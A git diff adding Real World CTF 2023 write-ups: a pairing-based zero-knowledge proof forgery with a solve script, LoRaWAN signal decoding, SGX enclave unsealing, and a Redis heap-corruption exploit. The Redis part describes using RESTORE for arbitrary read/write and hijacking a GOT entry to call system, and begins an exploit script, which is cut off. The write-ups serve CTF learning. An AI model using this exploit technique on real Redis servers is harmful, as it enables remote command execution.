+    return res
+
+def C(x,y,length=LENGTH):
+    assert len(x) == len(y) == length
+    res = multiply(G1, curve_order)
+    for i in range(length):
+        res = add(multiply(x[i],y[i]),res) 
+    return res 
+
+def Z(x):
+    return (x-1)*(x-2)*(x-3)*(x-4) % curve_order
+
+
+def genK(curve_order,length=LENGTH):
+    t = int(os.urandom(8).hex(),16) % curve_order
+    a = int(os.urandom(8).hex(),16) % curve_order
+    Ct = Cx(t)
+    PKC = []
+    for ct in Ct:
+        PKC.append(multiply(G1, ct))
+    PKCa = []
+    for ct in Ct:
+        PKCa.append(multiply(multiply(G1, ct), a))
+
+    PK = (PKC,PKCa)
+    VKa = multiply(G2, a)
+    VKz = multiply(G2, Z(t))
+    VK = (VKa,VKz)
+    return PK,VK
+
+def verify(proof,VK):
+    VKa,VKz = VK
+    PiC,PiCa,PiH = proof
+
+    l = pairing(VKa, PiC)
+    r = pairing(G2, PiCa)
+    if l !=r:
+        return False
+    l = pairing(G2,PiC)
+    r = pairing(VKz,PiH)
+    if l !=r:
+        return False
+    return True
+
+
+class Task(socketserver.BaseRequestHandler):
+    def __init__(self, *args, **kargs):
+        super().__init__(*args, **kargs)
+
+
+    def OKPROOF(self,proof,VK):
+        return verify(proof,VK)
+
+
+    def dosend(self, msg):
+        try:
+            self.request.sendall(msg.encode('latin-1') + b'\n')
+        except:
+            pass
+
+    def timeout_handler(self, signum, frame):
+        raise TimeoutError
+
+    def handle(self):
+        try:
+            signal.signal(signal.SIGALRM, self.timeout_handler)
+            self.dosend('===========================')
+            self.dosend('=WELCOME TO 0KPR00F SYSTEM=')
+            self.dosend('===========================')
+            PK,VK = genK(curve_order)
+            self.dosend(str(PK))
+            self.dosend('now give me your proof')
+            msg = self.request.recv(1024).strip()
+            msg = msg.decode('utf-8')
+            tmp = msg.replace('(','').replace(')','').replace(',','')
+            tmp = tmp.split(' ')
+            assert len(tmp) == 6
+            PiC = (FQ(int(tmp[0].strip())),FQ(int(tmp[1].strip())))
+            PiCa = (FQ(int(tmp[2].strip())),FQ(int(tmp[3].strip())))
+            PiH = (FQ(int(tmp[4].strip())),FQ(int(tmp[5].strip())))
+            proof = (PiC,PiCa,PiH)
+            if self.OKPROOF(proof,VK):
+                self.dosend("Congratulations!Here is flag:"+flag)
+            else:
+                self.dosend("sorry")
+            
+
+        except TimeoutError:
+            self.dosend('Timeout!')
+            self.request.close()
+        except:
+            self.dosend('Wtf?')
+            self.request.close()
+
+
+class ThreadedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
+    pass
+
+if __name__ == "__main__":
+    HOST, PORT = '0.0.0.0', 13337
+    server = ThreadedServer((HOST, PORT), Task)
+    server.allow_reuse_address = True
+    server.serve_forever()
+
+ +

Analysis

+

We see we are dealing with some kind of zero knowledge proofs based on bilinear pairings. We are given the values

+ +\[[t]G_1, [t^2]G_2, [t^3]G_2, [t^4]G_2, [t^5]G_2, [t^6]G_2\] + +\[[at]G_1, [at^2]G_2, [at^3]G_2, [at^4]G_2, [at^5]G_2, [at^6]G_2\] + +

where $a,t$ are randomly sampled integers, and $G_2$ the group generator over the elliptic curve the library is using. +Our task is to send a proof $(\text{Pic},\text{PiCa},\text{PiH})$ that satisfies the verify function, which checks the following:

+ +\[e(\text{VKa}, \text{PiC}) = e(G_2, \text{PiCa})\] + +

and

+ +\[e(G_2,\text{PiC}) = e(\text{VKz},\text{PiH})\] + +

where $e(\cdot,\cdot)$ is the pairing and $(\text{VKa}, \text{VKz}) = ([a]G_2, [Z(t)]G_2)$ is the verification key. So our task is to prove that we know the evaluation of

+ +\[Z(t) = (t-1)(t-2)(t-3)(t-4) = t^4 - 10t^3 + 35t^2 -50t + 24\] + +

Let $(\text{Pic},\text{PiCa},\text{PiH}) = ([x]G_1, [y]G_1, [z]G_1)$, where $x,y,z$ are unknown integers. Now we look at the pairings in the verification function.

+ +\[e(\text{VKa}, \text{PiC}) = e([a]G_2, [x]G_1) = e(G_2,G_1)^{ax}\] + +\[e(G_2, \text{PiCa}) = e(G_2, [y]G_1) = e(G_2,G_1)^y\] + +

and

+ +\[e(G_2,\text{PiC}) = e(G_2, [x]G_1) = e(G_2,G_1)^x\] + +\[e(\text{VKz},\text{PiH}) = e([Z(t)]G_2, [z]G_1) = E(G_2,G_1)^{Z(t)z}\] + +

So we get the equations

+ +\[ax = y\] + +\[x = Z(t)z\] + +

and set $x = Z(t), y = aZ(t), z = 1$. So our proof is $([Z(t)]G_1, [aZ(t)]G_1, G_1)$, which we can compute from the values we are given, using scalar multiplications and point additions.

+

Solution script

+
from pwn import *
+from py_ecc import bn128
+
+G1, FQ, add, curve_order, multiply = bn128.G1, bn128.FQ, bn128.add, bn128.curve_order, bn128.multiply
+
+def ev(xs):
+    out = multiply(xs[0], 24)
+    out = add(out, multiply(xs[1], curve_order-50))
+    out = add(out, multiply(xs[2], 35))
+    out = add(out, multiply(xs[3], curve_order-10))
+    out = add(out, xs[4])
+    return out
+
+io = remote("47.254.47.63", 13337)
+
+for _ in range(3): io.recvline()
+
+PK = eval(io.recvline())
+PK0 = [(FQ(x[0]), FQ(x[1])) for x in PK[0]]
+PK1 = [(FQ(x[0]), FQ(x[1])) for x in PK[1]]
+
+tup = (ev(PK0), ev(PK1), G1)
+
+io.sendlineafter(b"proof\n", str(tup).encode())
+
+print(io.recvall(30))
+
+ +

rwctf{How_do_you_feel_about_zero_knowledge_proof?}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/crypto/0KPR00F.md b/rwctf-2023/crypto/0KPR00F.md new file mode 100755 index 0000000..a60ec24 --- /dev/null +++ b/rwctf-2023/crypto/0KPR00F.md @@ -0,0 +1,233 @@ +# 0KPR00F + +**Author:** zeski + +**Tags:** crypto + +**Points:** 253 + +> Sh0w me the pr00f that y0u understand 0kpr00f. If its 0k, i’ll give y0u what y0u want! + + +## Challenge source +We are given the following source code, along with source code for py_ecc which we can also find [here](https://github.com/ethereum/py_pairing) as an ethereum library. +```py +#!/usr/bin/env python3 + +import signal +import socketserver +import string +import os +from secret import flag +from py_ecc import bn128 + +lib = bn128 +FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus +G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = \ + lib.G1, lib.G2, lib.G12, lib.b, lib.b2, lib.b12, lib.is_inf, lib.is_on_curve, lib.eq, lib.add, lib.double, lib.curve_order, lib.multiply +pairing, neg = lib.pairing, lib.neg + +LENGTH = 7 + + +def Cx(x,length=LENGTH): + res = [] + for i in range(length): + res.append(pow(x,i,curve_order) % curve_order) + return res + +def C(x,y,length=LENGTH): + assert len(x) == len(y) == length + res = multiply(G1, curve_order) + for i in range(length): + res = add(multiply(x[i],y[i]),res) + return res + +def Z(x): + return (x-1)*(x-2)*(x-3)*(x-4) % curve_order + + +def genK(curve_order,length=LENGTH): + t = int(os.urandom(8).hex(),16) % curve_order + a = int(os.urandom(8).hex(),16) % curve_order + Ct = Cx(t) + PKC = [] + for ct in Ct: + PKC.append(multiply(G1, ct)) + PKCa = [] + for ct in Ct: + PKCa.append(multiply(multiply(G1, ct), a)) + + PK = (PKC,PKCa) + VKa = multiply(G2, a) + VKz = multiply(G2, Z(t)) + VK = (VKa,VKz) + return PK,VK + +def verify(proof,VK): + VKa,VKz = VK + PiC,PiCa,PiH = proof + + l = pairing(VKa, PiC) + r = pairing(G2, PiCa) + if l !=r: + return False + l = pairing(G2,PiC) + r = pairing(VKz,PiH) + if l !=r: + return False + return True + + +class Task(socketserver.BaseRequestHandler): + def __init__(self, *args, **kargs): + super().__init__(*args, **kargs) + + + def OKPROOF(self,proof,VK): + return verify(proof,VK) + + + def dosend(self, msg): + try: + self.request.sendall(msg.encode('latin-1') + b'\n') + except: + pass + + def timeout_handler(self, signum, frame): + raise TimeoutError + + def handle(self): + try: + signal.signal(signal.SIGALRM, self.timeout_handler) + self.dosend('===========================') + self.dosend('=WELCOME TO 0KPR00F SYSTEM=') + self.dosend('===========================') + PK,VK = genK(curve_order) + self.dosend(str(PK)) + self.dosend('now give me your proof') + msg = self.request.recv(1024).strip() + msg = msg.decode('utf-8') + tmp = msg.replace('(','').replace(')','').replace(',','') + tmp = tmp.split(' ') + assert len(tmp) == 6 + PiC = (FQ(int(tmp[0].strip())),FQ(int(tmp[1].strip()))) + PiCa = (FQ(int(tmp[2].strip())),FQ(int(tmp[3].strip()))) + PiH = (FQ(int(tmp[4].strip())),FQ(int(tmp[5].strip()))) + proof = (PiC,PiCa,PiH) + if self.OKPROOF(proof,VK): + self.dosend("Congratulations!Here is flag:"+flag) + else: + self.dosend("sorry") + + + except TimeoutError: + self.dosend('Timeout!') + self.request.close() + except: + self.dosend('Wtf?') + self.request.close() + + +class ThreadedServer(socketserver.ForkingMixIn, socketserver.TCPServer): + pass + +if __name__ == "__main__": + HOST, PORT = '0.0.0.0', 13337 + server = ThreadedServer((HOST, PORT), Task) + server.allow_reuse_address = True + server.serve_forever() +``` + +## Analysis +We see we are dealing with some kind of zero knowledge proofs based on bilinear pairings. We are given the values + +$$ +[t]G_1, [t^2]G_2, [t^3]G_2, [t^4]G_2, [t^5]G_2, [t^6]G_2 +$$ + +$$ +[at]G_1, [at^2]G_2, [at^3]G_2, [at^4]G_2, [at^5]G_2, [at^6]G_2 +$$ + +where $a,t$ are randomly sampled integers, and $G_2$ the group generator over the elliptic curve the library is using. +Our task is to send a proof $(\text{Pic},\text{PiCa},\text{PiH})$ that satisfies the verify function, which checks the following: + +$$ +e(\text{VKa}, \text{PiC}) = e(G_2, \text{PiCa}) +$$ + +and + +$$ +e(G_2,\text{PiC}) = e(\text{VKz},\text{PiH}) +$$ + +where $e(\cdot,\cdot)$ is the pairing and $(\text{VKa}, \text{VKz}) = ([a]G_2, [Z(t)]G_2)$ is the verification key. So our task is to prove that we know the evaluation of + +$$ +Z(t) = (t-1)(t-2)(t-3)(t-4) = t^4 - 10t^3 + 35t^2 -50t + 24 +$$ + +Let $(\text{Pic},\text{PiCa},\text{PiH}) = ([x]G_1, [y]G_1, [z]G_1)$, where $x,y,z$ are unknown integers. Now we look at the pairings in the verification function. + +$$ +e(\text{VKa}, \text{PiC}) = e([a]G_2, [x]G_1) = e(G_2,G_1)^{ax} +$$ + +$$ +e(G_2, \text{PiCa}) = e(G_2, [y]G_1) = e(G_2,G_1)^y +$$ + +and + +$$ +e(G_2,\text{PiC}) = e(G_2, [x]G_1) = e(G_2,G_1)^x +$$ + +$$ +e(\text{VKz},\text{PiH}) = e([Z(t)]G_2, [z]G_1) = E(G_2,G_1)^{Z(t)z} +$$ + +So we get the equations + +$$ +ax = y +$$ + +$$ +x = Z(t)z +$$ + +and set $x = Z(t), y = aZ(t), z = 1$. So our proof is $([Z(t)]G_1, [aZ(t)]G_1, G_1)$, which we can compute from the values we are given, using scalar multiplications and point additions. +## Solution script +```py +from pwn import * +from py_ecc import bn128 + +G1, FQ, add, curve_order, multiply = bn128.G1, bn128.FQ, bn128.add, bn128.curve_order, bn128.multiply + +def ev(xs): + out = multiply(xs[0], 24) + out = add(out, multiply(xs[1], curve_order-50)) + out = add(out, multiply(xs[2], 35)) + out = add(out, multiply(xs[3], curve_order-10)) + out = add(out, xs[4]) + return out + +io = remote("47.254.47.63", 13337) + +for _ in range(3): io.recvline() + +PK = eval(io.recvline()) +PK0 = [(FQ(x[0]), FQ(x[1])) for x in PK[0]] +PK1 = [(FQ(x[0]), FQ(x[1])) for x in PK[1]] + +tup = (ev(PK0), ev(PK1), G1) + +io.sendlineafter(b"proof\n", str(tup).encode()) + +print(io.recvall(30)) +``` + +`rwctf{How_do_you_feel_about_zero_knowledge_proof?}` diff --git a/rwctf-2023/index.html b/rwctf-2023/index.html new file mode 100755 index 0000000..92f918f --- /dev/null +++ b/rwctf-2023/index.html @@ -0,0 +1,263 @@ + + + + + +Real World CTF 2023 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Real World CTF 2023

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengeCategory
long rangemisc, radio
sealunsealmisc
ferris-proxyrev
0kpr00fcrypto
chatuwuweb
astlibraweb
the-cult-of-8-bitweb
paddleweb
nonheavyftppwn
hardened-redispwn
tinyvmpwn
printer2pwn
realwrapblockchain
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/index.md b/rwctf-2023/index.md new file mode 100755 index 0000000..4ebc684 --- /dev/null +++ b/rwctf-2023/index.md @@ -0,0 +1,17 @@ +# Real World CTF 2023 + +| Challenge | Category | +| -------------------------------------------- | ----------- | +| [long range](./misc/long-range) | misc, radio | +| [sealunseal](./misc/sealunseal) | misc | +| [ferris-proxy](./rev/ferrisproxy) | rev | +| [0kpr00f](./crypto/0KPR00F) | crypto | +| [chatuwu](./web/chatuwu) | web | +| [astlibra](./web/astlibra) | web | +| [the-cult-of-8-bit](./web/the-cult-of-8-bit) | web | +| [paddle](./web/paddle) | web | +| [nonheavyftp](./pwn/nonheavyftp) | pwn | +| [hardened-redis](./pwn/hardenedredis) | pwn | +| [tinyvm](./pwn/tinyvm.md) | pwn | +| printer2 | pwn | +| [realwrap](./blockchain/realwrap) | blockchain | diff --git a/rwctf-2023/misc/long-range.html b/rwctf-2023/misc/long-range.html new file mode 100755 index 0000000..6d88a44 --- /dev/null +++ b/rwctf-2023/misc/long-range.html @@ -0,0 +1,277 @@ + + + + + +Long Range | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Long Range

+ +

Authors: tritoke, dd +Tags: misc, radio +Description:

+
+

In the Heat of the Night, Some RF signal was captured at 500.5MHz from Long Range. +Attachment: sig.wav

+
+ +

To start we are given just a single WAV file, opening this up in audacity shows us what looks to be a few small packets of data and one larger one.

+ +

+ +

On closer inspection we can see that the packets contain Frequency Modulation (FM) data - due to the squishing and stretching of the wave.

+ +

+ +

As we are told this is RF data, it is likely that each of these channels represents on part of the complex sample, i.e. one part is the real component and the other is the imaginary component.

+ +

We can use GNU radio to read the file and visualise the complex samples.

+ +

+ +

Having a look at the constellation display shows a ring when a packet is being sent and a small cluster of dots in the center otherwise, this is more evidence that we are dealing with FM data. +

+ +

Lets FM-decode the data and see how it looks in audacity.

+ +

+ +

+ +

Now this is some funky data, sawtooth waves mixed with reverse sawtooth waves, I didn’t recognise this protocol at all and it took some inspired research from my teammate zeski to find that it was LoRaWAN. +This was confirmed by, umm, looking at the metadata of the file :/ +This also clears up why we saw what looked like FM earlier, LoRa uses Spread Spectrum Modulation which is built on top of FM.

+ +
<?xml version="1.0"?>
+<SDR-XML-Root xml:lang="EN" Description="Saved recording data" Created="04-Jan-2023 13:03">
+    <Definition
+        CurrentTimeUTC="04-01-2023 13:03:07"
+        Filename="04-Jan-2023 210307.838 500.512MHz 000.wav"
+        FirstFile="04-Jan-2023 210307.838 500.512MHz 000.wav"
+        Folder="G:\chaitin\rw2022_lora"
+        InternalTag="63B5-790B-0347"
+        PreviousFile=""
+        RadioModel="Airspy Mini"
+        RadioSerial=""
+        SoftwareName="SDR Console"
+        SoftwareVersion="Version 3.0.28 build 2286"
+        UTC="04-01-2023 13:03:07"
+        XMLLevel="XMLLevel003"
+        CreatedBy="L on FXXKER"
+        TimeZoneStatus="0"
+        TimeZoneInfo="IP7//<cut long base64 string...>"
+        DualMode="0"
+        Sequence="0"
+        ADFrequency="0"
+        BitsPerSample="16"
+        BytesPerSecond="1500000"
+        RadioCenterFreq="500512500"
+        SampleRate="375000"
+        UTCSeconds="1672837387"
+    ></Definition>
+</SDR-XML-Root>
+
+ +

So we now know the data is LoRaWAN, a bit of googling turns up rpp0/gr-lora, lets spin up the docker container and get solving.

+ +

Using the radio center frequency from the metadata and a bit of ✨ brute force ✨ we get the flag printed the debug log in hex:

+
>>> s = "4e 31 70 57 65 6c 63 6f 6d 65 2c 20 42 65 20 41 20 52 57 43 54 46 65 72 21 20 72 77 63 74 66 7b 47 72 33 33 74 5f 46 72 30 6d 5f 4c 6f 52 34 5f 32 36 39 33 32 38 30 32 66 32 36 61 38 63 39 62 34 35 31 39 65 62 36 66 39 30 30 66 36 37 36 66 7d 83 c3"
+>>> print(bytes.fromhex("".join(s.split())).decode())
+b'N1pWelcome, Be A RWCTFer! rwctf{Gr33t_Fr0m_LoR4_26932802f26a8c9b4519eb6f900f676f}\x83\xc3'
+
+ +

rwctf{Gr33t_Fr0m_LoR4_26932802f26a8c9b4519eb6f900f676f}

+ +

Thanks to Real World CTF challenge, it was really interesting to learn more about LoRaWAN as it wasn’t something I’d looked at in the past.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/misc/long-range.md b/rwctf-2023/misc/long-range.md new file mode 100755 index 0000000..73008d2 --- /dev/null +++ b/rwctf-2023/misc/long-range.md @@ -0,0 +1,78 @@ +# Long Range + +**Authors:** tritoke, dd +**Tags:** misc, radio +**Description:** +> In the Heat of the Night, Some RF signal was captured at 500.5MHz from Long Range. +> Attachment: sig.wav + +To start we are given just a single WAV file, opening this up in audacity shows us what looks to be a few small packets of data and one larger one. + +![](./long-range1.png) + +On closer inspection we can see that the packets contain Frequency Modulation (FM) data - due to the squishing and stretching of the wave. + +![](./long-range2.png) + +As we are told this is RF data, it is likely that each of these channels represents on part of the complex sample, i.e. one part is the real component and the other is the imaginary component. + +We can use GNU radio to read the file and visualise the complex samples. + +![](./long-range3.png) + +Having a look at the constellation display shows a ring when a packet is being sent and a small cluster of dots in the center otherwise, this is more evidence that we are dealing with FM data. +![](./long-range4.png) + +Lets FM-decode the data and see how it looks in audacity. + +![](./long-range5.png) + +![](./long-range6.png) + +Now this is some funky data, sawtooth waves mixed with reverse sawtooth waves, I didn't recognise this protocol at all and it took some inspired research from my teammate zeski to find that it was LoRaWAN. +This was confirmed by, umm, looking at the metadata of the file :/ +This also clears up why we saw what looked like FM earlier, LoRa uses Spread Spectrum Modulation which is built on top of FM. + +```xml + + + + +``` + +So we now know the data is LoRaWAN, a bit of googling turns up [rpp0/gr-lora](https://github.com/rpp0/gr-lora), lets spin up the docker container and get solving. + +Using the radio center frequency from the metadata and a bit of ✨ brute force ✨ we get the flag printed the debug log in hex: +```py +>>> s = "4e 31 70 57 65 6c 63 6f 6d 65 2c 20 42 65 20 41 20 52 57 43 54 46 65 72 21 20 72 77 63 74 66 7b 47 72 33 33 74 5f 46 72 30 6d 5f 4c 6f 52 34 5f 32 36 39 33 32 38 30 32 66 32 36 61 38 63 39 62 34 35 31 39 65 62 36 66 39 30 30 66 36 37 36 66 7d 83 c3" +>>> print(bytes.fromhex("".join(s.split())).decode()) +b'N1pWelcome, Be A RWCTFer! rwctf{Gr33t_Fr0m_LoR4_26932802f26a8c9b4519eb6f900f676f}\x83\xc3' +``` + +`rwctf{Gr33t_Fr0m_LoR4_26932802f26a8c9b4519eb6f900f676f}` + +Thanks to Real World CTF challenge, it was really interesting to learn more about LoRaWAN as it wasn't something I'd looked at in the past. diff --git a/rwctf-2023/misc/long-range1.png b/rwctf-2023/misc/long-range1.png new file mode 100755 index 0000000..e65ce4b Binary files /dev/null and b/rwctf-2023/misc/long-range1.png differ diff --git a/rwctf-2023/misc/long-range2.png b/rwctf-2023/misc/long-range2.png new file mode 100755 index 0000000..43bf2d5 Binary files /dev/null and b/rwctf-2023/misc/long-range2.png differ diff --git a/rwctf-2023/misc/long-range3.png b/rwctf-2023/misc/long-range3.png new file mode 100755 index 0000000..9b07ac0 Binary files /dev/null and b/rwctf-2023/misc/long-range3.png differ diff --git a/rwctf-2023/misc/long-range4.png b/rwctf-2023/misc/long-range4.png new file mode 100755 index 0000000..46c1548 Binary files /dev/null and b/rwctf-2023/misc/long-range4.png differ diff --git a/rwctf-2023/misc/long-range5.png b/rwctf-2023/misc/long-range5.png new file mode 100755 index 0000000..96d5e31 Binary files /dev/null and b/rwctf-2023/misc/long-range5.png differ diff --git a/rwctf-2023/misc/long-range6.png b/rwctf-2023/misc/long-range6.png new file mode 100755 index 0000000..534babf Binary files /dev/null and b/rwctf-2023/misc/long-range6.png differ diff --git a/rwctf-2023/misc/long-range7.png b/rwctf-2023/misc/long-range7.png new file mode 100755 index 0000000..f3aa955 Binary files /dev/null and b/rwctf-2023/misc/long-range7.png differ diff --git a/rwctf-2023/misc/sealunseal.html b/rwctf-2023/misc/sealunseal.html new file mode 100755 index 0000000..a86d506 --- /dev/null +++ b/rwctf-2023/misc/sealunseal.html @@ -0,0 +1,265 @@ + + + + + +sealunseal | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

sealunseal

+ +
+

So we get some intelSGX sealed data, we have a .so for unseal, do we just need to run that or is it more complicated? – zeski on discord

+
+ +

Given an executable app, some sealed_data_blob.txt, and libenclave_unseal.signed.so we want to unseal the sealed data. For that, we need to install intel sgx first - and thus, a day was lost.

+ +

Once we finally had a machine that actually has an intel cpu, with sgx enabled, the services running, and not in simulated mode (that caused some errors about mismatching the state the original sealer was in), we could run the app, and noticed that it does in fact not unseal the data. Instead, it writes new sealed data. With a hardcoded flag placeholder instead of the actual flag.

+ +

The challenge description pointed out that this was an example of sealing in one enclave and unsealing in another. We get the enclave for unsealing as an .so file and may not change its code.

+ +

The binary app seems to still contain the unseal function, but simply patching the call to be to unseal instead of seal did not work - because the two functions take different arguments. We also did not get far by diffing the file generated on my machine with the original sealed data.

+ +

One of us contemplated that using a debugger inside the enclave would be painful. Another one pointed out that this would require a debug flag set, which would then prevent us from deriving the proper keys unless it was already sealed in debug mode. +And then we noticed that it actually looks like the debug flag was used.

+ +

So we wrote our own app and an enclave.edl file to describe the enclave.

+ +
// enclave.edl
+enclave {
+  include "sgx_tseal.h"
+  trusted {
+    public int unseal_data([in, size=size] sgx_sealed_data_t* data, size_t size);
+  };
+};
+
+ +
// app.c
+#include <sgx_uae_service.h>
+#include "enclave_u.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+void fail(char* msg) {
+  puts(msg);
+  exit(1);
+}
+
+int main(int argc, char* argv[]) {
+  char data[1024];
+  int fd = open(argv[1], O_RDONLY);
+  if (fd < 0) fail("failed to open file");
+  int sz = read(fd, data, 1024);
+  if (sz <= 0) fail("failed to read data");
+  sgx_enclave_id_t enclave_id;
+  sgx_status_t result;
+  result = sgx_create_enclave("libenclave_unseal.signed.so", 1, NULL, NULL, &enclave_id, NULL);
+  printf("%x\n", result);
+  if (result != SGX_SUCCESS) fail("enclave creation failed");
+  int ret;
+  result = unseal_data(enclave_id, &ret, (sgx_sealed_data_t*) data, 1024);
+  if (result != SGX_SUCCESS) fail("enclave run failed");
+}
+
+ +
# compilation
+$SGX_SDK/bin/x64/sgx_edger8r enclave.edl --search-path $SGX_SDK/include
+gcc -o app.o -c app.c -I$SGX_SDK/include
+gcc -c enclave_u.c -o enclave_u.o -I$SGX_SDK/include
+gcc app.o enclave_u.o -o app -L$SGX_SDK/lib64 -lsgx_urts -lsgx_epid
+
+ +

At some point the challenge author made a server available with a working sgx environment and the correct CPU to actually be able to unseal the data. However, it was slow and apt-get install gdb sometimes failed. Which was particularly problematic since the timeout was set too low to do any exploring remotely. So we debugged locally first, manually stepping until we were at the right place in the enclave. And then started the debugger on the remote, ran until there again, and dumped the flag.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/misc/sealunseal.md b/rwctf-2023/misc/sealunseal.md new file mode 100755 index 0000000..c1edb7e --- /dev/null +++ b/rwctf-2023/misc/sealunseal.md @@ -0,0 +1,67 @@ +# sealunseal + +> So we get some intelSGX sealed data, we have a .so for unseal, do we just need to run that or is it more complicated? -- zeski on discord + +Given an executable `app`, some `sealed_data_blob.txt`, and `libenclave_unseal.signed.so` we want to unseal the sealed data. For that, we need to install intel sgx first - and thus, a day was lost. + +Once we finally had a machine that actually has an intel cpu, with sgx enabled, the services running, and not in simulated mode (that caused some errors about mismatching the state the original sealer was in), we could run the `app`, and noticed that it does in fact not unseal the data. Instead, it writes new sealed data. With a hardcoded flag placeholder instead of the actual flag. + +The challenge description pointed out that this was an example of sealing in one enclave and unsealing in another. We get the enclave for unsealing as an `.so` file and may not change its code. + +The binary `app` seems to still contain the `unseal` function, but simply patching the call to be to `unseal` instead of `seal` did not work - because the two functions take different arguments. We also did not get far by diffing the file generated on my machine with the original sealed data. + +One of us contemplated that using a debugger inside the enclave would be painful. Another one pointed out that this would require a debug flag set, which would then prevent us from deriving the proper keys unless it was already sealed in debug mode. +And then we noticed that it actually looks like the debug flag was used. + +So we wrote our own app and an `enclave.edl` file to describe the enclave. + +```c +// enclave.edl +enclave { + include "sgx_tseal.h" + trusted { + public int unseal_data([in, size=size] sgx_sealed_data_t* data, size_t size); + }; +}; +``` + +```c +// app.c +#include +#include "enclave_u.h" +#include +#include +#include +#include + +void fail(char* msg) { + puts(msg); + exit(1); +} + +int main(int argc, char* argv[]) { + char data[1024]; + int fd = open(argv[1], O_RDONLY); + if (fd < 0) fail("failed to open file"); + int sz = read(fd, data, 1024); + if (sz <= 0) fail("failed to read data"); + sgx_enclave_id_t enclave_id; + sgx_status_t result; + result = sgx_create_enclave("libenclave_unseal.signed.so", 1, NULL, NULL, &enclave_id, NULL); + printf("%x\n", result); + if (result != SGX_SUCCESS) fail("enclave creation failed"); + int ret; + result = unseal_data(enclave_id, &ret, (sgx_sealed_data_t*) data, 1024); + if (result != SGX_SUCCESS) fail("enclave run failed"); +} +``` + +```bash +# compilation +$SGX_SDK/bin/x64/sgx_edger8r enclave.edl --search-path $SGX_SDK/include +gcc -o app.o -c app.c -I$SGX_SDK/include +gcc -c enclave_u.c -o enclave_u.o -I$SGX_SDK/include +gcc app.o enclave_u.o -o app -L$SGX_SDK/lib64 -lsgx_urts -lsgx_epid +``` + +At some point the challenge author made a server available with a working sgx environment and the correct CPU to actually be able to unseal the data. However, it was slow and `apt-get install gdb` sometimes failed. Which was particularly problematic since the timeout was set too low to do any exploring remotely. So we debugged locally first, manually stepping until we were at the right place in the enclave. And then started the debugger on the remote, ran until there again, and dumped the flag. \ No newline at end of file diff --git a/rwctf-2023/pwn/hardenedredis.html b/rwctf-2023/pwn/hardenedredis.html new file mode 100755 index 0000000..6602d2b --- /dev/null +++ b/rwctf-2023/pwn/hardenedredis.html @@ -0,0 +1,813 @@ + + + + + +hardenedredis | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

hardenedredis

+ +

We are given an ubuntu 22.04 docker container, installing the latest redis version. +Turns out, it is not really the latest redis version, but still with some CVE fixes. +I scoured through the commit log to find anything interesting and went down a few rabbit holes:

+
    +
  • Old lua version
  • +
  • messagepack lua extension
  • +
  • unfixed CVE in lua script execution
  • +
  • many many more
  • +
+ +

After more scouring of the commit log, I realized that the RESTORE command was fundamentally very broken on the redis version we were given. +Indeed it was basically not doing any checks at all on the input byte string. +I first tried to exploit some of the things that were fixed with later commits, but the data structures used were very complex and did not lend themselves to easy heap overflows. +In the end, I settled on intsets, which look like the following:

+ +
typedef struct intset {
+    uint32_t encoding;
+    uint32_t length;
+    int8_t contents[];
+} intset;
+
+ +

Thanks to the restore commands, I control both the size of the allocated chunk where the intset is stored and its contents. +I could therefore make the length larger than the actual chunk. +By then deleting an entry, I would move items outside of the chunk by one to the left, i.e. overwriting things on the heap. +I used this to corrupt a string and have a string of length -1. +Using this string, I then had full arbitrary read/write. +I then overwrote the free pointer in the got of the cjson load module. +By making it point to system, I could execute arbitrary commands, by decoding the command as a json string.

+ +

The two scripts below showcase the exploit.

+ +

coder.py

+
from pwn import *
+from pycrc.algorithms import Crc
+
+
+def crc64(buffer):
+    crc_io = process(["./crc", str(len(buffer))])
+    crc_io.send(buffer)
+    crc = int(crc_io.recvline().strip().decode(), 0)
+    return crc
+    # crc = Crc(64, 0xad93d23594c935a9, True, 0xffffffffffffffff, True, 0x0000000000000000)
+    # return crc.bit_by_bit_fast(buffer)
+
+class ZipList:
+    def __init__(self) -> None:
+        self.entry_data = b""
+        self.num_entries = 0
+        self.zlbytes = None
+        self.zltail = None
+        self.zllen = None
+        self.zlend = None
+        self.last_off = 4 + 4 + 2
+        self.prevlen = 0
+
+    def encode(self) -> bytes:
+        ret = b""
+        if self.zlend is None:
+            self.zlend = 0xff
+        if self.zllen is None:
+            self.zllen = self.num_entries
+        if self.zltail is None:
+            self.zltail = self.last_off
+        if self.zlbytes is None:
+            self.zlbytes = len(self.entry_data) + 11
+        ret += p32(self.zlbytes)
+        ret += p32(self.zltail)
+        ret += p16(self.zllen)
+        ret += self.entry_data
+        ret += p8(self.zlend)
+        return ret
+
+    def enc_prevlen(self, val: int):
+        if val <= 253:
+            return p8(val)
+        return p8(0xfe) + p32(val)
+
+
+    def append_entry_raw(self, data):
+        self.num_entries += 1
+        data = self.enc_prevlen(self.prevlen) + data
+        self.entry_data += data
+        self.last_off += self.prevlen
+        self.prevlen = len(data)
+
+    def enc_entry(self, val, my_len=None):
+        if isinstance(val, bytes):
+            len_enc = len(val)
+            if my_len is not None:
+                len_enc = my_len
+            return p8(0b10000000), p32(len_enc, endian="big"), val
+
+    def append_entry(self, val, my_len=None):
+        enc, add_len, enc_val = self.enc_entry(val, my_len)
+        data = enc + add_len + enc_val
+        self.append_entry_raw(data)
+
+RDB_TYPE_STRING = 0
+RDB_TYPE_LIST =   1
+RDB_TYPE_SET =    2
+RDB_TYPE_ZSET =   3
+RDB_TYPE_HASH =   4
+RDB_TYPE_ZSET_2 = 5
+RDB_TYPE_MODULE = 6
